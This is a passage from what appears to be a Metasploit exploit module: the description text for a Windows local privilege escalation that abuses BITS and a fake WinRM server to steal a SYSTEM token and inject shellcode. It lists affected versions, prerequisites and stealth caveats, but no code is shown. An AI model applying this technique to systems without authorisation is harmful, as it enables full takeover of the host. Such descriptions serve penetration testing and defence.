          'Description' => %q{
            This module exploit BITS behavior which tries to connect to the
            local Windows Remote Management server (WinRM) every times it
            starts. The module launches a fake WinRM server which listen on
            port 5985 and triggers BITS. When BITS starts, it tries to
            authenticate to the Rogue WinRM server, which allows to steal a
            SYSTEM token. This token is then used to launch a new process
            as SYSTEM user. In the case of this exploit, notepad.exe is launched
            as SYSTEM. Then, it write shellcode in its previous memory space
            and trigger its execution. As this exploit uses reflective dll
            injection, it does not write any file on the disk. See
            /documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md
            for complementary words of information.

            Vulnerable operating systems are Windows 10 and Windows servers where WinRM is not running.
            Lab experiments has shown that Windows 7 does not exhibit the vulnerable behavior.

            WARNING:

            - As this exploit runs a service on the target (Fake WinRM on port
            5985), a firewall popup may appear on target screen. Thus, this exploit
            may not be completely silent.

            - This exploit has been successfully tested on :
            Windows 10 (10.0 Build 19041) 32 bits
            Windows 10 Pro, Version 1903 (10.0 Build 18362) 64 bits

            - This exploit failed because of no BITS authentication attempt on:
            Windows 7 (6.1 Build 7601, Service Pack 1) 32 bits

            - Windows servers are not vulnerable because a genuine WinRM
            service is already running, except if the user has disabled it
            (Or if this exploit succeed to terminate it).

            - SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privs are
            required.

            - BITS must not be running.

            - This exploit automatically perform above quoted checks.
            run "check" command to run checklist.
